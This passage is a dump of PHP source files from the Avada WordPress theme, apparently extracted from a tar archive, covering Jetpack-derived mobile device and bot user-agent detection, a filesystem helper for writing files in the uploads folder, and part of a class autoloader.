!== false ) { if ( strpos( $agent, 'nokia' ) !== false || strpos( $agent, 'ovibrowser' ) !== false || strpos( $agent, 'nokiabrowser' ) !== false ) { return true; } } return false; } /** * Returns if the device belongs to J2ME capable family. * * @return bool */ public static function is_J2ME_platform() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $agent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( strpos( $agent, 'j2me/midp' ) !== false ) { return true; } elseif ( strpos( $agent, 'midp' ) !== false && strpos( $agent, 'cldc' ) ) { return true; } return false; } /** * Detects if the current UA is on one of the Maemo-based Nokia Internet Tablets. */ public static function is_MaemoTablet() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $agent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. $pos_maemo = strpos( $agent, 'maemo' ); if ( false === $pos_maemo ) { return false; } // Must be Linux + Tablet, or else it could be something else. if ( strpos( $agent, 'tablet' ) !== false && strpos( $agent, 'linux' ) !== false ) { if ( self::is_opera_mini() || self::is_opera_mobile() || self::is_firefox_mobile() ) { return false; } else { return true; } } else { return false; } } /** * Detects if the current UA is a MeeGo device (Nokia Smartphone). */ public static function is_MeeGo() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( false === strpos( $ua, 'meego' ) ) { return false; } elseif ( self::is_opera_mini() || self::is_opera_mobile() || self::is_firefox_mobile() ) { return false; } else { return true; } } /** * The is_webkit() method can be used to check the User Agent for an webkit generic browser. */ public static function is_webkit() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $agent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. $pos_webkit = strpos( $agent, 'webkit' ); if ( false !== $pos_webkit ) { return true; } else { return false; } } /** * Detects if the current browser is the Native Android browser. * * @return boolean true if the browser is Android otherwise false */ public static function is_android() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $agent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. $pos_android = strpos( $agent, 'android' ); if ( false !== $pos_android ) { if ( self::is_opera_mini() || self::is_opera_mobile() || self::is_firefox_mobile() ) { return false; } else { return true; } } else { return false; } } /** * Detects if the current browser is the Native Android Tablet browser. * Assumes 'Android' should be in the user agent, but not 'mobile' * * @return boolean true if the browser is Android and not 'mobile' otherwise false */ public static function is_android_tablet() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $agent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. $pos_android = strpos( $agent, 'android' ); $pos_mobile = strpos( $agent, 'mobile' ); $post_android_app = strpos( $agent, 'wp-android' ); if ( false !== $pos_android && false === $pos_mobile && false === $post_android_app ) { if ( self::is_opera_mini() || self::is_opera_mobile() || self::is_firefox_mobile() ) { return false; } else { return true; } } else { return false; } } /** * Detects if the current browser is the Kindle Fire Native browser. * * Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us; Silk/1.1.0-84) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Silk-Accelerated=true * Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us; Silk/1.1.0-84) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Silk-Accelerated=false * * @return boolean true if the browser is Kindle Fire Native browser otherwise false */ public static function is_kindle_fire() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $agent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. $pos_silk = strpos( $agent, 'silk/' ); $pos_silk_acc = strpos( $agent, 'silk-accelerated=' ); if ( false !== $pos_silk && false !== $pos_silk_acc ) { return true; } else { return false; } } /** * Detects if the current browser is the Kindle Touch Native browser * * Mozilla/5.0 (X11; U; Linux armv7l like Android; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/533.2+ Kindle/3.0+ * * @return boolean true if the browser is Kindle monochrome Native browser otherwise false */ public static function is_kindle_touch() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $agent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. $pos_kindle_touch = strpos( $agent, 'kindle/3.0+' ); if ( false !== $pos_kindle_touch && false === self::is_kindle_fire() ) { return true; } else { return false; } } /** * Detect if user agent is the WordPress.com Windows 8 app (used ONLY on the custom oauth stylesheet) */ public static function is_windows8_auth() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $agent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. $pos = strpos( $agent, 'msauthhost' ); if ( false !== $pos ) { return true; } else { return false; } } /** * Detect if user agent is the WordPress.com Windows 8 app. */ public static function is_wordpress_for_win8() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $agent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. $pos = strpos( $agent, 'wp-windows8' ); if ( false !== $pos ) { return true; } else { return false; } } /** * Detect if user agent is the WordPress.com Desktop app. */ public static function is_wordpress_desktop_app() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $agent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. $pos = strpos( $agent, 'WordPressDesktop' ); if ( false !== $pos ) { return true; } else { return false; } } /** * The is_blackberry_tablet() method can be used to check the User Agent for a RIM blackberry tablet. * The user agent of the BlackBerry® Tablet OS follows a format similar to the following: * Mozilla/5.0 (PlayBook; U; RIM Tablet OS 1.0.0; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/0.0.1 Safari/534.8+ */ public static function is_blackberry_tablet() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $agent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. $pos_playbook = stripos( $agent, 'PlayBook' ); $pos_rim_tablet = stripos( $agent, 'RIM Tablet' ); if ( ( false === $pos_playbook ) || ( false === $pos_rim_tablet ) ) { return false; } else { return true; } } /** * The is_blackbeberry() method can be used to check the User Agent for a blackberry device. * Note that opera mini on BB matches this rule. */ public static function is_blackbeberry() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $agent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. $pos_blackberry = strpos( $agent, 'blackberry' ); if ( false !== $pos_blackberry ) { if ( self::is_opera_mini() || self::is_opera_mobile() || self::is_firefox_mobile() ) { return false; } else { return true; } } else { return false; } } /** * The is_blackberry_10() method can be used to check the User Agent for a BlackBerry 10 device. */ public static function is_blackberry_10() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $agent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. return ( strpos( $agent, 'bb10' ) !== false ) && ( strpos( $agent, 'mobile' ) !== false ); } /** * Determines whether a desktop platform is Linux OS * * @return bool */ public static function is_linux_desktop() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } if ( ! preg_match( '/linux/i', wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. return false; } return true; } /** * Determines whether a desktop platform is Mac OS * * @return bool */ public static function is_mac_desktop() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } if ( ! preg_match( '/macintosh|mac os x/i', wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. return false; } return true; } /** * Determines whether a desktop platform is Windows OS * * @return bool */ public static function is_windows_desktop() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } if ( ! preg_match( '/windows|win32/i', wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. return false; } return true; } /** * Determines whether a desktop platform is Chrome OS * * @return bool */ public static function is_chrome_desktop() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } if ( ! preg_match( '/chrome/i', wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. return false; } return true; } /** * Retrieve the blackberry OS version. * * Return strings are from the following list: * - blackberry-10 * - blackberry-7 * - blackberry-6 * - blackberry-torch //only the first edition. The 2nd edition has the OS7 onboard and doesn't need any special rule. * - blackberry-5 * - blackberry-4.7 * - blackberry-4.6 * - blackberry-4.5 * * @return string Version of the BB OS. * If version is not found, get_blackbeberry_OS_version will return boolean false. */ public static function get_blackbeberry_OS_version() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } if ( self::is_blackberry_10() ) { return 'blackberry-10'; } $agent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. $pos_blackberry = stripos( $agent, 'blackberry' ); if ( false === $pos_blackberry ) { // Not a blackberry device. return false; } // Blackberry devices OS 6.0 or higher. // Mozilla/5.0 (BlackBerry; U; BlackBerry 9670; en) AppleWebKit/534.3+ (KHTML, like Gecko) Version/6.0.0.286 Mobile Safari/534.3+. // Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, Like Gecko) Version/6.0.0.141 Mobile Safari/534.1+. // Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0 Mobile Safari/534.11+. $pos_webkit = stripos( $agent, 'webkit' ); if ( false !== $pos_webkit ) { // Detected blackberry webkit browser. $pos_torch = stripos( $agent, 'BlackBerry 9800' ); if ( false !== $pos_torch ) { return 'blackberry-torch'; // Match the torch first edition. the 2nd edition should use the OS7 and doesn't need any special rule. } elseif ( preg_match( '#Version\/([\d\.]+)#i', $agent, $matches ) ) { // Detecting the BB OS version for devices running OS 6.0 or higher. $version = $matches[1]; $version_num = explode( '.', $version ); if ( false === is_array( $version_num ) || count( $version_num ) <= 1 ) { return 'blackberry-6'; // not a BB device that match our rule. } else { return 'blackberry-' . $version_num[0]; } } else { // if doesn't match returns the minimun version with a webkit browser. we should never fall here. return 'blackberry-6'; // not a BB device that match our rule. } } // Blackberry devices <= 5.XX. // BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179. if ( preg_match( '#BlackBerry\w+\/([\d\.]+)#i', $agent, $matches ) ) { $version = $matches[1]; } else { return false; // not a BB device that match our rule. } $version_num = explode( '.', $version ); if ( is_array( $version_num ) === false || count( $version_num ) <= 1 ) { return false; } $version_num_major = (int) $version_num[0]; $version_num_minor = (int) $version_num[1]; if ( 5 === $version_num_major ) { return 'blackberry-5'; } elseif ( 4 === $version_num_major && 7 === $version_num_minor ) { return 'blackberry-4.7'; } elseif ( 4 === $version_num_major && 6 === $version_num_minor ) { return 'blackberry-4.6'; } elseif ( 4 === $version_num_major && 5 === $version_num_minor ) { return 'blackberry-4.5'; } else { return false; } } /** * Retrieve the blackberry browser version. * * Return string are from the following list: * - blackberry-10 * - blackberry-webkit * - blackberry-5 * - blackberry-4.7 * - blackberry-4.6 * * @return string Type of the BB browser. * If browser's version is not found, detect_blackbeberry_browser_version will return boolean false. */ public static function detect_blackberry_browser_version() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $agent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( self::is_blackberry_10() ) { return 'blackberry-10'; } $pos_blackberry = strpos( $agent, 'blackberry' ); if ( false === $pos_blackberry ) { // Not a blackberry device. return false; } $pos_webkit = strpos( $agent, 'webkit' ); if ( ! ( false === $pos_webkit ) ) { return 'blackberry-webkit'; } else { if ( ! preg_match( '#BlackBerry\w+\/([\d\.]+)#i', $agent, $matches ) ) { return false; // not a BB device that match our rule. } $version_num = explode( '.', $matches[1] ); if ( false === is_array( $version_num ) || count( $version_num ) <= 1 ) { return false; } $version_num_major = (int) $version_num[0]; $version_num_minor = (int) $version_num[1]; if ( 5 === $version_num_major ) { return 'blackberry-5'; } elseif ( 4 === $version_num_major && 7 === $version_num_minor ) { return 'blackberry-4.7'; } elseif ( 4 === $version_num_major && 6 === $version_num_minor ) { return 'blackberry-4.6'; } else { // A very old BB device is found or this is a BB device that doesn't match our rules. return false; } } } /** * Checks if a visitor is coming from one of the WordPress mobile apps. * * @return bool */ public static function is_mobile_app() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $agent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( isset( $_SERVER['X_USER_AGENT'] ) && preg_match( '|wp-webos|', $_SERVER['X_USER_AGENT'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput -- This is validating. return true; // Wp4webos 1.1 or higher. } $app_agents = array( 'wp-android', 'wp-blackberry', 'wp-iphone', 'wp-nokia', 'wp-webos', 'wp-windowsphone' ); // the mobile reader on iOS has an incorrect UA when loading the reader // currently it is the default one provided by the iOS framework which // causes problems with 2-step-auth // User-Agent WordPress/3.1.4 CFNetwork/609 Darwin/13.0.0. $app_agents[] = 'wordpress/3.1'; foreach ( $app_agents as $app_agent ) { if ( false !== strpos( $agent, $app_agent ) ) { return true; } } return false; } /** * Detects if the current browser is Nintendo 3DS handheld. * * Example: Mozilla/5.0 (Nintendo 3DS; U; ; en) Version/1.7498.US * can differ in language, version and region */ public static function is_Nintendo_3DS() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( strpos( $ua, 'nintendo 3ds' ) !== false ) { return true; } return false; } /** * Was the current request made by a known bot? * * @return boolean */ public static function is_bot() { static $is_bot = null; if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } if ( $is_bot === null ) { $is_bot = self::is_bot_user_agent( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. } return $is_bot; } /** * Is the given user-agent a known bot? * If you want an is_bot check for the current request's UA, use is_bot() instead of passing a user-agent to this method. * * @param string $ua A user-agent string. * * @return boolean */ public static function is_bot_user_agent( $ua = null ) { if ( empty( $ua ) ) { return false; } $bot_agents = array( 'alexa', 'altavista', 'ask jeeves', 'attentio', 'baiduspider', 'bingbot', 'chtml generic', 'crawler', 'fastmobilecrawl', 'feedfetcher-google', 'firefly', 'froogle', 'gigabot', 'googlebot', 'googlebot-mobile', 'heritrix', 'httrack', 'ia_archiver', 'irlbot', 'iescholar', 'infoseek', 'jumpbot', 'linkcheck', 'lycos', 'mediapartners', 'mediobot', 'motionbot', 'msnbot', 'mshots', 'openbot', 'pss-webkit-request', 'pythumbnail', 'scooter', 'slurp', 'snapbot', 'spider', 'taptubot', 'technoratisnoop', 'teoma', 'twiceler', 'yahooseeker', 'yahooysmcm', 'yammybot', 'ahrefsbot', 'pingdom.com_bot', 'kraken', 'yandexbot', 'twitterbot', 'tweetmemebot', 'openhosebot', 'queryseekerspider', 'linkdexbot', 'grokkit-crawler', 'livelapbot', 'germcrawler', 'domaintunocrawler', 'grapeshotcrawler', 'cloudflare-alwaysonline', 'cookieinformationscanner', // p1699315886066389-slack-C0438NHCLSY 'facebookexternalhit', // https://www.facebook.com/externalhit_uatext.php 'feedburner', 'yacybot', // http://yacy.net/bot.html 'trendictionbot', // http://www.trendiction.de/bot; 'elisabot', 'linkfluence', // http://linkfluence.com/ 'semrushbot', // https://www.semrush.com/bot/ 'archive.org_bot', // http://archive.org/details/archive.org_bot 'ezlynxbot', // https://www.ezoic.com/bot 'siteauditbot', // https://www.semrush.com/bot/ 'snapchat', // https://developers.snap.com/robots 'applebot', // https://support.apple.com/en-ca/HT204683 'bne.es_bot', // https://www.bne.es/es/colecciones/archivo-web-espanola/aviso-webmasters 'google-safety;', // https://www.google.com/bot.html 'mojeekbot', // https://www.mojeek.com/bot.html 'linkwalker', // https://www.linkwalker.com/ ); foreach ( $bot_agents as $bot_agent ) { if ( false !== stripos( $ua, $bot_agent ) ) { return true; } } return false; } } Avada/includes/lib/inc/jetpack-device-detection/class-device-detection.php000064400000016135152342437700022603 0ustar00 (bool) Whether the current device is a mobile phone. * 'is_smartphone' => (bool) Whether the current device is a smartphone. * 'is_tablet' => (bool) Whether the current device is a tablet device. * 'is_handheld' => (bool) Whether the current device is a handheld device. * 'is_desktop' => (bool) Whether the current device is a laptop / desktop device. * 'platform' => (string) Detected platform. * 'is_phone_matched_ua' => (string) Matched UA. * ); */ public static function get_info( $ua = '' ) { // Return memoized result if available. // phpcs:disable WordPress.Security.ValidatedSanitizedInput $memo_key = ! empty( $ua ) ? $ua : ( $_SERVER['HTTP_USER_AGENT'] ?? '' ); // Note: UA string used raw for compatibility reasons. // No sanitization is needed as the value is never output or persisted, and is only used for memoization. // phpcs:enable WordPress.Security.ValidatedSanitizedInput if ( isset( self::$get_info_memo[ $memo_key ] ) ) { return self::$get_info_memo[ $memo_key ]; } $ua_info = new User_Agent_Info( $ua ); $info = array( 'is_phone' => self::is_mobile( 'any', false, $ua_info ), 'is_phone_matched_ua' => self::is_mobile( 'any', true, $ua_info ), 'is_smartphone' => self::is_mobile( 'smart', false, $ua_info ), 'is_tablet' => $ua_info->is_tablet(), 'platform' => $ua_info->get_platform(), 'desktop_platform' => $ua_info->get_desktop_platform(), 'browser' => $ua_info->get_browser(), ); $info['is_handheld'] = $info['is_phone'] || $info['is_tablet']; $info['is_desktop'] = ! $info['is_handheld']; if ( function_exists( 'apply_filters' ) ) { /** * Filter the value of Device_Detection::get_info. * * @since 1.0.0 * * @param array $info Array of device information. * @param string $ua User agent string passed to Device_Detection::get_info. * @param User_Agent_Info $ua_info Instance of Automattic\Jetpack\Device_Detection\User_Agent_Info. */ $info = apply_filters( 'jetpack_device_detection_get_info', $info, $ua, $ua_info ); } // Memoize the result. self::$get_info_memo[ $memo_key ] = $info; if ( count( self::$get_info_memo ) > self::$max_memo_size ) { array_shift( self::$get_info_memo ); } return $info; } /** * Detects phone devices. * * @param string $ua User-Agent string. * * @return bool */ public static function is_phone( $ua = '' ) { $device_info = self::get_info( $ua ); return true === $device_info['is_phone']; } /** * Detects smartphone devices. * * @param string $ua User-Agent string. * * @return bool */ public static function is_smartphone( $ua = '' ) { $device_info = self::get_info( $ua ); return true === $device_info['is_smartphone']; } /** * Detects tablet devices. * * @param string $ua User-Agent string. * * @return bool */ public static function is_tablet( $ua = '' ) { $device_info = self::get_info( $ua ); return true === $device_info['is_tablet']; } /** * Detects desktop devices. * * @param string $ua User-Agent string. * * @return bool */ public static function is_desktop( $ua = '' ) { $device_info = self::get_info( $ua ); return true === $device_info['is_desktop']; } /** * Detects handheld (i.e. phone + tablet) devices. * * @param string $ua User-Agent string. * * @return bool */ public static function is_handheld( $ua = '' ) { $device_info = self::get_info( $ua ); return true === $device_info['is_handheld']; } /** * Determine if the current User Agent matches the passed $kind. * * @param string $kind Category of mobile device to check for. Either: any, dumb, smart. * @param bool $return_matched_agent Boolean indicating if the UA should be returned. * @param User_Agent_Info $ua_info Boolean indicating if the UA should be returned. * * @return bool|string Boolean indicating if current UA matches $kind. If `$return_matched_agent` is true, returns the UA string. */ private static function is_mobile( $kind, $return_matched_agent, $ua_info ) { $kinds = array( 'smart' => false, 'dumb' => false, 'any' => false, ); $first_run = true; $matched_agent = ''; // If an invalid kind is passed in, reset it to default. if ( ! isset( $kinds[ $kind ] ) ) { $kind = 'any'; } if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $agent = strtolower( filter_var( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) ); if ( strpos( $agent, 'ipad' ) ) { return false; } // Remove Samsung Galaxy tablets (SCH-I800) from being mobile devices. if ( strpos( $agent, 'sch-i800' ) ) { return false; } if ( $ua_info->is_android_tablet() && false === $ua_info->is_kindle_touch() ) { return false; } if ( $ua_info->is_blackberry_tablet() ) { return false; } if ( $first_run ) { $first_run = false; // checks for iPhoneTier devices & RichCSS devices. if ( $ua_info->isTierIphone() || $ua_info->isTierRichCSS() ) { $kinds['smart'] = true; $matched_agent = $ua_info->matched_agent; } if ( ! $kinds['smart'] ) { // if smart, we are not dumb so no need to check. $dumb_agents = $ua_info->dumb_agents; foreach ( $dumb_agents as $dumb_agent ) { if ( false !== strpos( $agent, $dumb_agent ) ) { $kinds['dumb'] = true; $matched_agent = $dumb_agent; break; } } if ( ! $kinds['dumb'] ) { if ( isset( $_SERVER['HTTP_X_WAP_PROFILE'] ) ) { $kinds['dumb'] = true; $matched_agent = 'http_x_wap_profile'; } elseif ( isset( $_SERVER['HTTP_ACCEPT'] ) && ( preg_match( '/wap\.|\.wap/i', $_SERVER['HTTP_ACCEPT'] ) || false !== strpos( strtolower( $_SERVER['HTTP_ACCEPT'] ), 'application/vnd.wap.xhtml+xml' ) ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput -- This is doing the validating. $kinds['dumb'] = true; $matched_agent = 'vnd.wap.xhtml+xml'; } } } if ( $kinds['dumb'] || $kinds['smart'] ) { $kinds['any'] = true; } } $value = $kinds[ $kind ]; if ( $return_matched_agent ) { $value = $matched_agent; } return $value; } }Avada/includes/lib/inc/class-fusion-filesystem.php000064400000014300152342437700016213 0ustar00wp_filesystem = Fusion_Helper::init_filesystem(); // Apply the filter for the folder-name. $folder = apply_filters( 'fusion_compiler_filesystem_folder_name', $folder ); if ( $file || $folder ) { // Set the $file property. $this->set_file( $file, $folder ); // Set the $path property. $this->set_path(); } } /** * Sets the $path property. * * @access private * @since 1.0.0 * @param string $file The filename. * @param string $folder The folder in which the file should go. * @return void */ private function set_file( $file, $folder = '' ) { // Remove '/' from the beginning of the string. $file = ltrim( $file, '/' ); if ( $folder ) { $folder = ltrim( $folder, '/' ); } $this->file = ltrim( wp_normalize_path( $folder . '/' . $file ), '/' ); $this->file = apply_filters( 'fusion_compiler_filesystem_filename', $this->file ); } /** * Sets the $path property. * * @access private * @since 1.0.0 * @return void */ private function set_path() { // Get the upload directory for this site. $upload_dir = wp_upload_dir(); // Build the path. $this->path = wp_normalize_path( $this->get_root_path() . '/' . $this->file ); } /** * Gets the $path property. * * @access public * @since 1.0.0 * @return string */ public function get_path() { return $this->path; } /** * Write file. * * @access public * @since 1.0.0 * @param string $content The file contents. * @return bool Whether the file-write was successful or not. */ public function write_file( $content ) { // Check if the file is writable. if ( ! $this->is_writable() ) { return false; } if ( ! $this->wp_filesystem->put_contents( $this->path, $content ) ) { // Writing to the file failed. return false; } return true; } /** * Is the file writable? * * @access public * @since 1.0.0 * @return bool */ public function is_writable() { $directory_separator = '/'; // Build the folder path. $file_parts = explode( $directory_separator, $this->path ); if ( 2 <= count( $file_parts ) ) { unset( $file_parts[ count( $file_parts ) - 1 ] ); } $folder_path = implode( $directory_separator, $file_parts ); // Does the folder exist? if ( file_exists( $folder_path ) ) { // Folder exists, but is it actually writable? if ( ! $this->wp_filesystem->is_writable( $folder_path ) ) { // Folder is not writable. // Does the file exist? if ( ! file_exists( $this->path ) ) { // If the file does not exist, then we can't create it // since its parent folder is not writable. return false; } else { // The file exists. Is it writable? if ( ! $this->wp_filesystem->is_writable( $this->path ) ) { // Nope, it's not writable. return false; } } } else { // The folder is writable. // Does the file exist? if ( file_exists( $this->path ) ) { // File exists. Is it writable? if ( ! $this->wp_filesystem->is_writable( $this->path ) ) { // Nope, it's not writable. return false; } } } } else { // Can we create the folder? // returns true if yes and false if not. $permissions = ( defined( 'FS_CHMOD_DIR' ) ) ? FS_CHMOD_DIR : 0755; return $this->wp_filesystem->mkdir( $folder_path, $permissions ); } // If we passed all of the above tests // then the file is writable. return true; } /** * Gets the URL to the file. * * @access public * @since 1.0.0 * @return string */ public function get_url() { // Get the file URL. $url = trailingslashit( $this->get_root_url() ) . $this->file; // Get the scheme. $scheme = null; // We use get_option() instead of site_url() or get_site_url() because these dedicated functions // use set_url_scheme to set the protocol and we need to check what is actually saved in the db. if ( false !== strpos( 'https://', get_option( 'siteurl' ) ) ) { $scheme = 'https'; } // Return the URL, with the correct scheme applied. return set_url_scheme( $url, $scheme ); } /** * Gets the root folder path. * Other paths are built based on this. * * @since 1.5 * @access public * @return string */ public function get_root_path() { // Get the upload directory for this site. $upload_dir = wp_upload_dir(); // Return the path. return apply_filters( 'fusion_compiler_filesystem_root_path', untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) ); } /** * Gets the root folder url. * Other urls are built based on this. * * @since 1.5 * @access public * @return string */ public function get_root_url() { // Get the upload directory for this site. $upload_dir = wp_upload_dir(); // The URL. $url = trailingslashit( $upload_dir['baseurl'] ); // Take care of domain mapping. // When using domain mapping we have to make sure that the URL to the file // does not include the original domain but instead the mapped domain. if ( defined( 'DOMAIN_MAPPING' ) && DOMAIN_MAPPING ) { if ( function_exists( 'domain_mapping_siteurl' ) && function_exists( 'get_original_url' ) ) { $mapped_domain = domain_mapping_siteurl( false ); $original_domain = get_original_url( 'siteurl' ); $url = str_replace( $original_domain, $mapped_domain, $url ); } } return apply_filters( 'fusion_compiler_filesystem_root_url', untrailingslashit( esc_url_raw( $url ) ) ); } } Avada/includes/lib/inc/class-fusion-library-autoloader.php000064400000016554152342437700017645 0ustar00paths[ $class_name ] ) ) { $this->paths[ $class_name ] = $this->locate_file( $class_name ); } // Only process if file was found. // If it doesn't exist, then the locate_file() method returned false. if ( $this->paths[ $class_name ] ) { include_once $this->paths[ $class_name ]; } } /** * Locate the class file * * @access private * @param string $class_name The class-name we're looking for. * @return string|false If false, file was not located. */ private function locate_file( $class_name ) { // Return false if the class does not start with "Fusion" or "AWB". if ( 0 !== stripos( $class_name, 'Fusion' ) && 0 !== stripos( $class_name, 'AWB' ) ) { return false; } $map = $this->get_class_map(); if ( isset( $map[ $class_name ] ) ) { return $map[ $class_name ]; } // Extrapolate the filename from the class-name. $filename = 'class-' . strtolower( str_replace( '_', '-', $class_name ) ) . '.php'; // Go through all instances of the files in case of multiple installations // and add their version as key in the array. $paths = []; foreach ( self::$locations as $version => $location ) { $file = wp_normalize_path( $location . '/inc/' . $filename ); if ( ! file_exists( $file ) ) { continue; } $paths[ $version ] = $file; } // Reorder versions to make sure newest is first. krsort( $paths ); // This is a pseudo-loop. // We're not actually looping though all items here, // we're simply returning the 1st element of the array. // It only acts as a loop if the 1st element is empty. foreach ( $paths as $path ) { if ( $path ) { // Return 1st (newest version) path. return $path; } } return false; } /** * Add a location to the self::$locations array. * * @static * @access public * @param string $path The path to add. * @param string $version The fusion-library version. */ public static function add_location( $path, $version ) { if ( ! isset( self::$locations[ $version ] ) ) { self::$locations[ $version ] = $path; } } /** * Returns an array of known classnames along with their paths. * * @access public * @since 2.0 * @return array */ public function get_class_map() { if ( ! self::$path_map ) { self::$path_map = [ 'Fusion' => FUSION_LIBRARY_PATH . '/inc/class-fusion.php', 'Fusion_Images' => FUSION_LIBRARY_PATH . '/inc/class-fusion-images.php', 'AWB_Widget_Framework' => FUSION_LIBRARY_PATH . '/inc/class-awb-widget-framework.php', 'AWB_Widget_Style' => FUSION_LIBRARY_PATH . '/inc/class-awb-widget-style.php', 'Fusion_Settings' => FUSION_LIBRARY_PATH . '/inc/class-fusion-settings.php', 'Fusion_Multilingual' => FUSION_LIBRARY_PATH . '/inc/class-fusion-multilingual.php', 'Fusion_Sanitize' => FUSION_LIBRARY_PATH . '/inc/class-fusion-sanitize.php', 'Fusion_Scripts' => FUSION_LIBRARY_PATH . '/inc/class-fusion-scripts.php', 'Fusion_Dynamic_JS' => FUSION_LIBRARY_PATH . '/inc/class-fusion-dynamic-js.php', 'Fusion_Media_Query_Scripts' => FUSION_LIBRARY_PATH . '/inc/class-fusion-media-query-scripts.php', 'Fusion_Font_Awesome' => FUSION_LIBRARY_PATH . 